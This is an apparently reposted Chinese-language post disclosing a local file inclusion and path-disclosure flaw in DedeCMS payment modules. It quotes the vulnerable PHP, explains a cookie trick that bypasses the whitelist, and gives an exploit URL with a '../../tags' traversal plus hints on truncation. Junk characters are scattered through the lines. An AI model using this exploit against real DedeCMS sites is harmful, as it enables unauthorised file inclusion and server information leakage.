dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

; w, s' d( g! z1 v8 a, }出现漏洞的两个文件为：
$ t' N6 Y3 Q/ v' n  h9 ~9 I5 c" k7 pInclude/payment/alipay.php
& Y7 a4 e( x7 ]8 N( l  AInclude/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
0 j$ t) n1 G7 |: z
Include/payment/alipay.php
+ D  m* j: M2 c' M9 p' \* h
......
) _; o# R  R3 n+ |- {   function respond()
) t/ C1 e9 s4 W    {
/ U9 Y; m9 {- S; F# h! P3 I        if (!empty($_POST))
        {
$ f7 u, C0 D5 j6 b& Y            foreach($_POST as $key => $data)
            {
& n- l: u$ k( N9 B6 y( ~                $_GET[$key] = $data;
            }
  Y* n# y+ _: x2 X+ e, G9 d0 H        }
5 }2 [) Y" E" x+ o. S6 D" J        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
0 q9 k- K( J. V+ |$ ]/ i/ V8 l......

5 n. H4 B; F- r+ j( U* H& [8 k
: m4 U" F  }6 |/ X/ P; i) u大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
$ A# d! A- ^( `5 a8 v4 G6 {
2 q3 U6 `8 a8 `7 l0 n# TInclude/payment/yeepay.php


6 e, _# A0 M2 m# z
7 t, R# G8 s+ K( b9 k......
    function respond()
    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

        $p1_MerId = trim($payment['yp_account']);
: ?5 C1 ?. g! H$ g& A: _        $merchantKey = trim($payment['yp_key']);
( U1 }& ?7 p# J$ n# t; p" @! U4 i......
& }& f. m9 u* O. {
% ?: t8 U3 Z" b, `

1 M; D+ I! a6 y9 c' w2 y9 ^
' z  b* Y( N; H, y: G  b5 S4 O' A大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

这两个方法在plus/carbuyaction.php文件调用。

. p- q$ R% k' ~6 V6 b0 |$ n# Q* j5 pplus/carbuyaction.php
/ q. T+ |$ v# w# Z1 K- Z, f
5 B% ~5 i( Z4 S1 K2 Q4 I1 o2 }......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
, K8 F0 r8 V) V, ~. G    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
* g8 C' i4 U0 l. R- m( i- x+ h        $pay = new $code;
        $msg=$pay->respond();
2 v, `  N  E' r. d2 u6 n3 h        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
$ D  [0 e' a. c9 J1 z0 A1 G    } else {
        exit('Error:File Type Can\'t Recognized!');
$ h8 d) i. f- M4 Z( X    }
}
......
$ C0 A5 `2 F' O. V% J
* H2 e2 D9 I2 j3 M5 Y0 n9 f



- j$ P. P: d4 y8 X6 l/ H8 _5 q
: Z: Y2 G- z4 h. J4 j1 d; |大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
* R+ n% _5 r0 @& p- N
8 ^6 Q( W9 d2 `回到include/common.inc.php来看看他的机制。
$ b- i; u1 ~; m
2 E, _! f# s$ B

" p) c# t9 I5 m; ~$ t1 L......
9 x& Q  f1 Z0 ?4 D7 G* Tforeach(Array('_GET','_POST','_COOKIE') as $_request)
+ ~4 e7 |7 M/ j: @! \  l) @$ c{
        foreach($$_request as $_k => $_v)
        {
  _; N- h! d. k                if($_k == 'nvarname') ${$_k} = $_v;
  Z' r$ y# v) g0 a% n                else ${$_k} = _RunMagicQuotes($_v);
        }
}
( m: a9 X8 t9 C8 K( T$ ^7 @% `......
/ I! S! n4 z* K7 B9 r! V  y大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
5 O) X# E0 M  Y7 s0 s由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。